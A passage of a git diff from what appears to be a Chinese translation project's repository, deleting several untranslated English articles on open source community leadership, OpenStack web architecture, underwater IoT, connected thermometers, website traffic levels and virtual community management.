a legal and organizational point of view. Other than the more glamorous parts, these duties often also entail regular meetings, annual budget planning and reserve building, tax filings and annual activity reports, team management, trademark and copyright handling, planning and overseeing tenders, and all sorts of expected and unexpected legal matters and fostering liaisons with other entities, all of which are rather unglamorous tasks rarely seen by the general public. - -That requires the willingness to learn in a variety of areas and for having a rather high tolerance for frustration. Luckily, most of the groups I know are composed of members with different skills, so it's likely someone is either already experienced in or willing to learn one or more of the respective areas. Looking at The Document Foundation's [rules of procedure][6] for the board, a total of 13 different areas of oversight can be identified, each one staffed with one or more volunteers, matched to their area of interest. - -### 4\. Delegation - -Handling all the work alone as a pure volunteer will sooner or later become an impossible task and, unless you have magical superpowers, it's strongly advisable to share these with other seat holders, volunteers, and, if they exist, staff and external professionals. Often, growing organizational demands luckily come together with the financial growth of the entity, which makes paying professionals for certain tasks quite feasible and sensible. Accounting, administration, and legal advice are prime examples of things to outsource (unless that's the service you already provide, of course). - -If you oversee a large part of the organization, you primarily need to focus on strategy and the mission at large, so it is advisable to delegate many tasks to others. Remember, the community has entrusted you to steer the ship, to oversee the big picture; don't bother yourself with every little detail and micromanagement, but get enough insight to oversee those you task and trust that they do a good job. - -### 5\. Responsibility - -In the end, however, it still is the ultimate and shared responsibility of all representatives to oversee and coordinate the work, ensure all duties are fulfilled, and, especially for board members, take care that all legal obligations are met. Remember, donors trust you to make good use of their money, so you have a huge responsibility. - -In nearly all legislations, there exist numerous rules and regulations you are bound by, and the unfortunate tendency is often to make things more complicated instead of relaxing them. - -In case something goes wrong, those most exposed are first in line to be confronted with that, both from a social and legal point of view. - -### 6\. Social - -Depending on the size of the organization and your role, you might not only have responsibility for tasks and projects, but also for a paid team. Keep in mind that, for many, their economic situation depends on the success of your organization. Job security and a positive work environment are important factors to keep a happy and dedicated team. - -Gaining the skills and finding the time as a pure volunteer to oversee a large full-time team is demanding. Interacting by talking, listening, and being open helps a lot for both your team and the organization. In many organizations, the paid team is there to serve your community, to drive forward the success of the project, to take away annoying administrative tasks from you, and to work on tasks that support and enable your contributors. - -Working at charities can be a bit different from companies. Given most of your income consists of donor's money, you have less monetary flexibility than commercial employers. However, you provide a far superior experience than many traditional businesses. Use that as your advantage—your team does something for the good cause, can work with people around the world, can really make a difference, and at the same time make a living out of what they love. Communicate frequently, and don't forget to laud people if they do a good job, especially in remote working environments. - -### 7\. Diversity - -Crucial and essential is that representatives reflect the diversity of the community—different genders, religions, languages, cultures, backgrounds, and experiences add an incredibly exciting variety that you should aim hard to achieve in any board, committee, and group. While this can turn out to be challenging in the beginning, it for sure will enrich your community in ways you never dared to dream of before. - -This diversity is one of the most important and exciting assets a larger community offers; you'll soon learn how it widens the view, helps you to question your own thoughts and positions, and contributes greatly to your overall efforts. If you run an open source community, do exactly as the name suggests—be open, be passionate, and try to get to the bottom of things! - -### 8\. Coordination - -Having members from around the globe can make you face some practical problems though—most notably, languages and time zones. While English as a common denominator is spoken widely in Europe, it might be different for other countries, and including those who don't speak English as their mother tongue is key if you have a large community. You risk losing vital insight into what your worldwide community does if you don't manage to connect to them. - -Something the law of physics at least currently doesn't allow is overcoming the different time zones. Finding suitable meeting slots for participants on different continents, matching everyone's working schedule, and providing a work-life balance aren't trivial requirements, especially when you want to include a paid team. As you end your workday, colleagues from a different continent are just about to start theirs. While the volunteers need meeting times after office hours, your staff would probably rather not stay in the office until late or during the weekends. - -Likely there isn't an ideal meeting time, but you will end up finding a compromise that works for most people, possibly including alternate meeting times. A word to the wise: use calendar invites and meeting planners with time zones to avoid confusion, especially during times of daylight savings changes. - -The choice of medium is important as well—all stakeholders need to be aware of and included in important discussions. Some of these are thus better done in email; others are easier to handle on the phone. You might also find it convenient to prepare initial discussions via emails and have the final vote on the phone. - -Properly prefixing email subjects with votes and discussions can likewise be helpful to handle the influx of messages and catch people's attention. The same is true for meeting intervals, agendas, deadlines, quorum requirements, and sunset periods—these need to reflect everyone's needs, factoring in availabilities, vacations, and absences. The rationale behind this is that taking a role requires continuous, active participation in many communities, to keep up with what's going on, and that is much easier when the rules are clear. - -Depending on your setup and the jurisdiction you're in, votes and meetings also have formal requirements you have to stick to. - -### 9\. Trust - -Trustworthiness is probably one of the most important characteristics for anyone who fills a leadership role. Email conversations lack tone and gestures, making it harder to understand moods, emotions, and intentions. Thus it's even more important to assume best intentions on each side, trying to avoid what is known as confirmation bias, i.e., interpreting actions and words in a way that seems to confirm your existing negative assumptions. - -Trust especially comes into play when the entity is located in a country whose language you don't speak or whose legal system you are not familiar with—you will have to rely on translation services and people acting as gateways, be they volunteers or paid professionals. - -### 10\. Reward - -Filling a community role usually means plenty of hard work on top of your existing duties, but there are plenty of rewards for all that work. It is a very honorable and truly exciting opportunity that will not only enrich your professional life (and makes a good item on a CV) but beyond that, enriches your personality, your skills, and your point of view. If you're passionate about what you do, if you're open to new things, if you want to shape the future of what you love—then you indeed might be a great candidate to serve the community and lead by example. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-community-management - -作者:[Florian Effenberger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/floeff -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/meeting_discussion_brainstorm.png?itok=7_m4CC8S (community team brainstorming ideas) -[2]: http://OpenOffice.org -[3]: https://www.documentfoundation.org/ -[4]: https://www.opensourcetreffen.de/ -[5]: https://wiki.documentfoundation.org/File:AnnualReport2016LR.pdf -[6]: https://wiki.documentfoundation.org/TDF/BoD_rules diff --git a/sources/talk/20200420 Why I use open source technology for web development.md b/sources/talk/20200420 Why I use open source technology for web development.md deleted file mode 100644 index 03a2ea4148..0000000000 --- a/sources/talk/20200420 Why I use open source technology for web development.md +++ /dev/null @@ -1,102 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why I use open source technology for web development) -[#]: via: (https://opensource.com/article/20/4/open-source-web-development) -[#]: author: (Jimmy McArthur https://opensource.com/users/jimmymcarthur) - -Why I use open source technology for web development -====== -Micro-frontends with an API-driven approach power the OpenStack -Foundation's platforms. -![Text editor on a browser, in blue][1] - -Every day, millions of people all over the world access the [OpenStack Foundation][2]'s (OSF) web properties to learn about open infrastructure. This level of usage requires a platform and toolsets that are fast, flexible, and affordable—and this is where open source comes in. Not only that, but given that we work for an open source software foundation, we naturally incorporate open source technologies into everything we do, including web development. - -### Considerations for web development - -When thinking about web development technologies, we must consider how we manage our software lifecycles. All software development includes some sort of [lifecycle management][3] with the opportunity to plan, analyze, design, and implement the code. Our web development team usually works on the fly, often under tight deadlines, and with other departments. That means our requirements and workflow must be flexible enough to allow for quick iterations, updates, and corrections. I'd rather push out something quickly and, if needed, go back in and make things pixel perfect after the fact. - -Our team also has to consider all the stakeholders involved in the website, including our talented marketing teams who aren't familiar with Git workflows. That led us, like many others, to utilize a content management system (CMS), so those professionals can make updates without having to use Git. - -### Building a CMS-agnostic web architecture - -In order to uphold this need for flexibility, traditionally, we relied on an open source CMS, [SilverStripe][4]. However, our requirements quickly outgrew the system. So, we built a standalone API and use static micro-sites with [React][5] JavaScript components to pull data into custom-designed presentation layers. We use this system in everything from mobile apps to websites to digital signs. This has become known as a [Jamstack][6] architecture. We found this model was extensible enough that it allowed us to move our data anywhere while being CMS-agnostic. - -When adopting this API-driven workflow, we realized that our data was used in many different places and presented in many different ways. Across our seven web properties, we share everything from graphics to dynamic content. A standard CMS won't do this without a lot of custom development work along with either cron jobs or costly database queries. - -When things are API-driven, you can access all these different datasets across a variety of platforms while largely protecting your infrastructure from major traffic spikes. For example, the OSF collaborated with [Tipit][7], the OSF's digital design and development partner, to develop a completely open source end-to-end event management software. Our event-schedule data is presented on web pages, mobile apps, and digital signage. It's the same data, managed from a single place, but with different presentation layers, formats, and platforms. - -### Open source identity access management - -A cornerstone of moving to a decentralized Jamstack architecture is the need to establish identity and access rights. When using JavaScript to call for things in an API, we may need to require authentication and authorization. Therefore, we had to separate the identity provider from any individual implementation. There are two concepts to this: identity (authN) and identity access management (authZ). The identity provider confirms who you are, while access management confirms what roles and permissions you have to do different things. One of the first requirements when developing the event-management software was to establish a standalone identity provider. - -Enter [OpenStackID][8], which is an [OpenID Connect][9] with oAuth2 SSO solution. OpenStackID started out as a more secure way for users to log into [Openstack.org][10] and manage their profiles. Even as the number of websites and event apps we manage grows, this creates a seamless authentication experience for users. The access-management portion allows us to build standalone React-based apps that use the identity provider to determine if a particular user has the rights to do the things they want to do in that specific application. - -One thing that runs through everyone's mind—especially in a global open source community—is privacy. It's a large factor in creating our web and event properties. With OpenStackID, users can log into their [OpenStackID account][11] and set application permissions using the OAuth 2 console. If they decide they no longer want their app associated with their OpenStackID, they can simply remove permissions. - -For example, we have users for our events that do not want their personal information to be associated with their presence at our conferences. The way the platforms are set up, all personally identifiable data is managed securely on the OpenID server, and it's not shared between applications unless the user strictly enables it. Beyond that, we never share things like the events a user attends or pieces of their user profile unless it's completely anonymized, or they specifically allow it in order to remain aligned with the [Four Opens][12] or our community philosophy. - -### Better web infrastructure using open source - -Taking our considerations and shifting toward a more flexible implementation of a CMS has helped our teams collaborate more effectively. Most importantly, we continue to follow our community values by providing great privacy and security options thanks to open source technology. - -If you're interested in our approach, check out the OSF Foundation website's [source code][13]. You can also access the following source code repos to see the approach in action: - - * [Zuul website][14] - * [Airship website][15] - * [StarlingX website][16] - * [Kata Containers website][17] - * [MOC and Open Infra Labs website][18] - * [Open Stack Foundation website][19] - * [Open Infrastructure Summit admin][20] - * [Open Infrastructure Summit CFP][21] - * [Open Infrastructure Summit Signage][22] - * [OpenStack Survey GraphQL API to access survey data and reports][23] - * [OpenStack Survey Graphene API to feed summit reports][24] - * [OpenStackID authentication system][25] - * [OpenStackID resource server][26] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-web-development - -作者:[Jimmy McArthur][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jimmymcarthur -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) -[2]: https://osf.dev/ -[3]: https://en.wikipedia.org/wiki/Systems_development_life_cycle -[4]: https://www.silverstripe.org/ -[5]: https://reactjs.org/ -[6]: https://jamstack.org/ -[7]: https://www.tipit.net/ -[8]: https://opendev.org/explore/repos?q=openstackid&tab=&sort=recentupdate -[9]: https://openid.net/connect/ -[10]: http://Openstack.org -[11]: https://openstackid.org/ -[12]: https://osf.dev/about/four-opens/ -[13]: https://github.com/OpenStackweb/openstack-org -[14]: https://opendev.org/zuul/zuul-website -[15]: https://github.com/AirshipWeb/airship-website -[16]: https://github.com/StarlingXWeb/starlingx-website -[17]: https://github.com/kata-containers/www.katacontainers.io -[18]: https://github.com/OpenStackweb/openinfralabs-website -[19]: https://github.com/OpenStackweb/osf-website -[20]: https://github.com/OpenStackweb/summit-admin -[21]: https://github.com/OpenStackweb/call-for-presentations -[22]: https://github.com/OpenStackweb/openstacksignage -[23]: https://github.com/OpenStackweb/openstack-survey-api -[24]: https://github.com/OpenStackweb/summit-reports-api -[25]: https://opendev.org/osf/openstackid -[26]: https://opendev.org/osf/openstackid-resources diff --git a/sources/talk/20200421 How underwater Internet of Things will work.md b/sources/talk/20200421 How underwater Internet of Things will work.md deleted file mode 100644 index 16503a8143..0000000000 --- a/sources/talk/20200421 How underwater Internet of Things will work.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How underwater Internet of Things will work) -[#]: via: (https://www.networkworld.com/article/3538393/how-underwater-internet-of-things-will-work.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -How underwater Internet of Things will work -====== -Lasers will be used to power underwater devices and transmit data below the ocean's surface. -North Sea Port - -More than two-thirds of the world's surface is covered by water. It plays an important role in our economic existence, including in major verticals such as oil and gas, shipping and tourism. - -As the Internet of Things proliferates, questions arise as to how IoT will manifest itself underwater given that radio waves degrade over distance in seawater, and underwater acoustic communication (which does actually work okay) is easily eavesdropped on and isn't stealthy. - -To make the underwater Internet of Things happen, light is the answer, some say. Researchers at King Abdullah University of Science and Technology (KAUST) in Thuwal, Saudi Arabia, are proposing underwater optical communications. They're investigating simultaneous lightwave information and power transfer (SLIPT) configurations, which they're using to transmit energy and data to underwater electronic devices. Recently, the researchers announced a breakthrough experiment in which they were able to achieve an underwater, two-way transmission of data and power over 1.5 yards between a solar panel-equipped sensor and a receiver. - -The SLIPT system will be more usable than wires strung. And in the case of human underwater equipment inspections, for example, SLIPT will be less prone to error than hand signals and less prone to audible confusion than ultrasound voice-based communicators. Remarkably, to this day, hand signals are still a common form of communication between divers. - -"SLIPT can help charge devices in inaccessible locations where continuous powering is costly or not possible," said Jose Filho, a PhD student at KAUST, [in an article][1] on the school's web site. - -Filho, who has been involved in developing the laser project, envisages ships or boats on the water's surface beaming optical communications to underwater vehicles or IoT sensors on the ocean floor. The lasers would simultaneously communicate with and power underwater robots and devices. Return data is relayed to the surface vessel, which then communicates to land bases or data centers via RF (radio). - -Surface buoys – or even unmanned aerial vehicles (drones) flying well above turbulent waves – could be used to inject power down to the seabed surface and, at the same time, receive data, researchers believe. - -[][2] - -The school explains that there's still much development that needs to be performed before SLIPT is operational, but it sees potential. "Underwater optical communication provides an enormous bandwidth and is useful for reliably transmitting information over several meters," co-first author Abderrahmen Trichili said in the article. - -KAUST, located on the Red Sea coast, has been involved in this area of technical exploration for some years. It was involved in developing some early, record-breaking underwater data communications. In 2015 it ran a 4.8 gigabit per second, 16-QAM-OFDM transmission with a 450-nanometer laser. OFDM, or Orthogonal Frequency Division Multiplexing, splits single data streams into multiple channels to reduce interference. - -Interestingly, seas and oceans are becoming increasingly important to data centers. Large swaths of the world's population are found on or near coasts, rather than inland, and we're seeing a shift towards edge-style computing that positions resources closer to sources of data. There's also a need for compute cooling, which ocean water can provide. Even wave energy as a method of powering servers means sea and data are becoming intertwined. - -Microsoft launched an [undersea water-cooling data center][3] 117 feet below the water surface in 2018. Additionally, garden-hose-sized cables carry almost all global, public Internet traffic [underwater, across oceans and between continents][4]. It's not done through satellite, as many imagine. - -So, this is not a brand-new synergy. Apart from the eco-monitoring drivers, one of the likeliest and most important reasons that ocean-based computing is being explored keenly is that there isn't any rent payable or jurisdictional ownership on the high seas. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3538393/how-underwater-internet-of-things-will-work.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://discovery.kaust.edu.sa/en/article/952/the-power-of-light-for-internet-of-underwater-things -[2]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[3]: https://www.networkworld.com/article/3283332/microsoft-launches-undersea-free-cooling-data-center.html -[4]: https://www.networkworld.com/article/3004465/how-vulnerable-are-the-internets-undersea-cables.html -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200421 IoT offers a way to track COVID-19 via connected thermometers.md b/sources/talk/20200421 IoT offers a way to track COVID-19 via connected thermometers.md deleted file mode 100644 index a3ba9f972e..0000000000 --- a/sources/talk/20200421 IoT offers a way to track COVID-19 via connected thermometers.md +++ /dev/null @@ -1,54 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IoT offers a way to track COVID-19 via connected thermometers) -[#]: via: (https://www.networkworld.com/article/3539058/iot-offers-a-way-to-track-covid-19-via-connected-thermometers.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -IoT offers a way to track COVID-19 via connected thermometers -====== -The COVID-19 pandemic has catapulted one manufacturer of connected thermometers to national prominence, as Kinsa provides a possible window into the spread of the disease. -[Kinsa / Leaflet / OpenStreetMap / CARTO][1] - -A company called Kinsa is leveraging [IoT][2] tech to create a network of connected thermometers, collecting a huge amount of anonymous health data that could offer insights into the current and future pandemics. - -The company’s founder and CEO, Inder Singh, said that the ability to track fever levels across the U.S. in close to real time could be a crucial piece of information for both the public at large and for decision-makers in the healthcare sector and government. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -The system’s networking technology is relatively straightforward – the thermometer connects via Bluetooth to an app on the user’s phone, which reports anonymized data back to Kinsa’s cloud over the Internet. Singh emphasizes that the company only organizes data down to the county level, and asserts that identifying individuals through Kinsa’s data is more or less impossible. - -“We’re not providing PII, we’re not providing identified data,” he said. “The app just guides you to the care and services you need.” - -Armed with the temperature reading and some basic demographic information about the person whose temperature was taken and their other symptoms, the app can offer rudimentary guidance about whether a visit to the doctor is needed or not, and whether the user’s area is seeing unusual levels of fever. - -However, the real value is in the aggregated data that Kinsa analyzes and breaks out on its [U.S. Health Weather Map][1], gleaned from the million-plus thermometers in the company’s ecosystem. The idea, according to Singh, is to provide the public with a way to make more informed decisions about their health. - -“It’s very participatory,” he said. “Everyone gets the data, and everyone can respond.” - -Kinsa still sells its thermometers directly to consumers, but plans are afoot for the company to collaborate more closely with local governments, health authorities and even school districts – Singh said that Kinsa is already partnering with two U.S. states (which he declined to name), and several city governments, including St. Augustine, Florida. - -“Our hope is that we can figure out how to build a scalable model – we’re never gonna scale globally by just selling $20 thermometers,” he said. The goal is to become widespread enough that the product can act as a meaningful early warning system for the healthcare sector. - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3539058/iot-offers-a-way-to-track-covid-19-via-connected-thermometers.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://healthweather.us/?mode=Atypical -[2]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200421 What is a High Traffic Website.md b/sources/talk/20200421 What is a High Traffic Website.md deleted file mode 100644 index d9207af7dd..0000000000 --- a/sources/talk/20200421 What is a High Traffic Website.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What is a High Traffic Website?) -[#]: via: (https://theartofmachinery.com/2020/04/21/what_is_high_traffic.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -What is a High Traffic Website? -====== - -Terms like “high traffic” are hazardous when designing online services because salespeople, business analysts and engineers all have different perspectives about what they mean. If we’re talking about, say, a high-stakes online poker room, then “high traffic” for the business side will be very low compared to what it is for the technical side. However, all these people will be in a meeting room together making decisions, using the same words to mean different things. It’s obvious how that can lead to bad (and sometimes expensive) choices. - -A lot of my day job is talking to business stakeholders and figuring out the technical solutions they need, so this is a problem I have to deal with. So I’ve got my own purely technical way to think about traffic levels for online services. - -### Scalability vs performance - -First, let’s be clear about two concepts that come up a lot in online service design. - -For online services, performance is all about how well (usually how fast) the system can handle a single request or unit of work. Scalability is about the volume or size of work that can be handled. For online services, scalability is usually about the number of user requests that can be handled within a timeframe, while for batch jobs we typically care about the size of the dataset we can process. Sometimes we want the system capacity to grow and shrink based on demand, but sometimes we don’t care as long as we can handle the full range of workloads we expect. - -Scalability and performance often get confused because they commonly work together. For example, suppose you have some online service using a slow algorithm and you improve perfomance by replacing the algorithm with another that does the same job with less work. Primarily that’s a performance gain, but as long as the new algorithm doesn’t use more memory or something, you’ll be able to handle more requests in the same time. - -There’s a counterexample I’ve discussed before: [internal caches versus external cache servers][1]. Using an external cache server like Redis means your app has to make network calls to do cache lookups, so it has performance overhead. On the other hand, if your app is replicated across multiple machines, a shared, external cache is more effective than a per-app, in-memory cache. The external cache is more scalable. - -### Response time - -When designing systems, it’s helpful to start by thinking about latency or response time requirements, even if we have to make some up and revise them later. Adding more RAM, more caches, more machines or more disk can solve a lot of problems, but latency problems tend to be fundamental to the system design. For example, suppose you’re designing an online game, and you want latencies of under 100ms for all users. Straight away, the speed of light limit means you can’t have one central server supporting a global game, regardless of whatever algorithms or hardware you throw at the problem. - -There’s another reason it’s useful to focus on server response time in practice. If you have a simple, single-function website, such as a mortgage calculator, then the response time can be estimated based on technical things like the hardware specs and code quality. But that’s not how typical online services are built. The online service industry tends to emphasise adding more and more features for less development cost. That means [webpages tend to expand in complexity][2] using the easiest code possible, and only get optimised when they become too slow and users churn. Even the typical mortgage calculator site will end up bloated with advertising and tracking functionality. So the response time of a website in my day job depends mostly on the client’s budget and priorities, not on technical factors, regardless of whether it’s an ecommerce site or a cutting-edge data application. - -### Looking at a single worker - -Okay, so now imagine a simple web app that gets about one request an hour that takes about 5s to process (ignoring static assets because they’re not the bottleneck). That app has an obvious performance problem because many users will give up before 5s. But there’s no scaling problem because the server will practically never hit capacity limits and drop requests. Even if traffic rises, the performance problem is the bottleneck that takes priority over any hypothetical scalability problems. - -That’s a simple insight that we can take further. Lets say we target 100ms per request, and our simple web app processes requests one at a time serially (i.e., no scaling). With 86,400 seconds in a day, a naïve calculation says we can handle 86,400 / 0.1 = 864,000 requests per day before we have scaling problems. - -Of course, the real world isn’t that simple. - -First, there will be slower and faster requests, and [requests that arrive at random won’t balance themselves nicely][3]. They’ll come in clusters that fill up queues, and the backlog will cause large spikes in response time. (There’s a handy rule that says [if you want to keep response time under control, you should target about 80% usage of theoretical total capacity][4].) - -Then there’s diurnal variation. Some local websites get nearly all of their traffic during business hours, or about a third of the day. Even a very global website can easily have 2-3 times more traffic at peak than at trough because populations aren’t distributed evenly around the world (a lot of internet users live in East Asia and North/South America, but not in the huge Pacific ocean). The actual ratio depends on many factors that are hard to predict. - -But even if we can’t easily get exact capacity estimates, this simple model is the justification for splitting websites into three traffic levels. - -### The three traffic levels - -The first level is for sites that get well under 100k dynamic requests a day. Most websites are at this level, and a lot will stay that way while being totally useful and successful. They can also pose complex technical challenges, both for performance and functionality, and a lot of my work is on sites this size. But they don’t have true scalability problems (as opposed to problems that can be solved purely by improving performance). - -If a website gets bigger, it can get into the “growing pains” level, which is roughly around 100k-1M dynamic requests a day. This is where scalability problems start to appear. Often the site is at least a bit scalable (thanks to, e.g., async or multithreaded programming), but Web developers scaling a site through this level keep discovering new surprise pain points. Things that a smaller site can get away with start turning into real problems in this level. Some of the biggest challenges are actually sociotechnical, with the team that builds and manages the site needing to learn to think about it in new ways. - -The next level is after leaving the 1M dynamic requests a day boundary behind. I think of sites at this level as being high traffic. Let me stress that that’s a technical line, not a value judgment or ego statement. The world’s biggest websites are orders of magnitude bigger than that, while most of the world’s useful websites are smaller. But the line matters because you simply can’t run a site at that scale without treating it like a high traffic site. You can get away with it at low traffic levels, you can fumble through it at the growing pains level, but at high traffic levels you just have to work differently. Coincidentally, it’s around this traffic level where it makes more sense to talk about requests per second than requests per day. - -By the way, don’t focus too much on the exact traffic levels above. They’re very rough and honestly I picked them because they’re convenient round numbers that happen to be reasonable for typical websites. The real values depend on the target response time and all the other factors, of course. What I’m trying to explain is 1) that these levels exist, 2) why they exist and 3) what to expect if you’re trying to grow an online service. - -### Going to more levels - -What happens with sites that get even bigger? Once the problems at one set of bottlenecks are fixed, the site should just scale until it hits a new set of bottlenecks, either because the application has changed significantly, or just because of a very large increase in traffic. For example, once the application servers are scalable, the next scaling bottleneck could be database reads, followed by database writes. However, the basic ideas are the same, just applied to a different part of the system. - -Working on a very high-traffic site can be a lot less “exciting” than working on a plain high-traffic site, simply because most major problems need to be solved to get to very high traffic levels in the first place. - -### Scaling when you don’t have scaling problems - -Some developers try to make online services scalable long before they have any scalability problems on the horizon, usually by adding exotic databases or broker servers or something. In particular, startup founders are often especially concerned that their technical assets might not scale to meet their business ambitions. It’s understandable, but it’s a dangerous trap for a couple of reasons. - -One is that Paul Graham’s classic [Do Things That Don’t Scale][5] essay applies to your technology stack, too. You can’t beat bigger companies with scale, but your competitive advantage is that you can choose to _not_ solve the scalability problems that bigger companies are forced to with every step they take. That’s what makes smaller companies agile, and a startup that worries too much about scalability is just a big enterprise without the big to back it up. - -The other problem is that premature scalability solutions can easily backfire. If you don’t have real scalability problems to test your solutions against, it’s hard to be sure you’re correctly solving a real problem. In fact, rapidly growing services tend to change requirements rapidly, too, so the risk of a scalability “solution” turning into technical debt is high. If you keep trying to add scalability to a part of the system that’s already scalable enough, chances are the next scaling bottleneck will appear somewhere else, anyway. - -Architectures that err on the side of too simple are easier to scale in the long run than architectures that are too complex. - -To be more concrete, I personally can’t think of a low-traffic online service I’ve worked on that couldn’t have been implemented cleanly enough using a simple, monolithic web app (in whatever popular language) in front of [a boring relational database][6], maybe with a search index like Xapian or Elasticsearch. [Many major websites aren’t much different from that.][7] It’s not the only valid architecture, but it’s a tried-and-tested one. - -Having said all that, sometimes low-traffic sites need things that are sometimes sold as scalability solutions. For example, replicating an app behind a load balancer can help you deploy whenever you want without downtime. One fintech service I worked on split credit card code into its own service, making PCI DSS compliance simpler. In all these cases there’s a clear problem other than scalability that’s being solved, and that’s what avoids overengineering. - -I often wish I had a systematic way to just figure out all the technical requirements for an online service in my head. But the real world is complicated and messy, and sometimes the only practical way to be sure is to experiment. However, every piece of software starts with ideas, and this is how I think about scalability for online service ideas during the early design phase. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/04/21/what_is_high_traffic.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://theartofmachinery.com/2016/07/30/server_caching_architectures.html -[2]: https://mobiforge.com/research-analysis/the-web-is-doom -[3]: https://theartofmachinery.com/2020/01/27/systems_programming_probability.html -[4]: https://www.johndcook.com/blog/2009/01/30/server-utilization-joel-on-queuing/ -[5]: http://www.paulgraham.com/ds.html -[6]: https://theartofmachinery.com/2017/10/28/rdbs_considered_useful.html -[7]: https://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/ diff --git a/sources/talk/20200423 Getting to know our new, virtual world.md b/sources/talk/20200423 Getting to know our new, virtual world.md deleted file mode 100644 index 70eebbbeee..0000000000 --- a/sources/talk/20200423 Getting to know our new, virtual world.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Getting to know our new, virtual world) -[#]: via: (https://opensource.com/article/20/4/virtual-community-management) -[#]: author: (Patricia Dugan https://opensource.com/users/patricia-dugan) - -Getting to know our new, virtual world -====== -Our current forced physical separation could generate innovations that -actually bring our communities closer together. -![Women in computing and open source v5][1] - -Witnessing the ongoing global impact of COVID-19 is a profoundly affecting experience that continues to humble us all in ways we couldn't have anticipated. Technology organizations are quickly evolving within this new reality, in which all of our human interactions are virtual until further notice. - -### Virtual open source community management - -When it comes to nurturing cultures designed to promote and reward open source innovation—as well as communities' economic, technological, and physical wellbeing—I can best speak to those I help build and manage. I believe communities should be built by weaving a tapestry of demographics and ranges of expertise. They should do this in a way that facilitates rich communication and empowers those building open source software to share knowledge with each other. - -The move to virtual connection and digitalized events only makes these methods more crucial. - -I'll share an example. Recently, I was speaking with a pillar of the Traefik open source community, known as a [Traefik Ambassador][2], based in Turkey, over video conference about a potential webinar. He suggested that, instead, we expand the speaker set to include other community members. Soon, we'd invited other contributors from Poland and Switzerland. We met online, and out of that conversation, the webinar has evolved into a collaborative series with community members taking turns presenting insights and melding different types of software together. What struck me was that if we'd had this conversation just one month ago, it would have simply focused on the creation of an asset. Now, contributors are bonding over a purpose-driven creation, with greater intention around facilitating innovation and excitement. - -Based on my experience building and growing open source communities, I believe that this new era of virtual connection offers an unprecedented opportunity for innovation and growth—as long as it is managed with equal focus on the people creating it. Below are five observations on how the world of open source can positively shape the future of innovation in a virtual and seemingly uncertain world. - -### The virtual world is flat. - -Open source communities, teams, and backing companies provide an exceptional model of how to accelerate innovation. That's especially true in these extraordinary times. At its core, open source democratizes the development process, something we see replicated more widely in our new virtual ecosystems. As the opportunity for input becomes more inclusive, organizations are seeing a flattening in infrastructure, both in communications and in 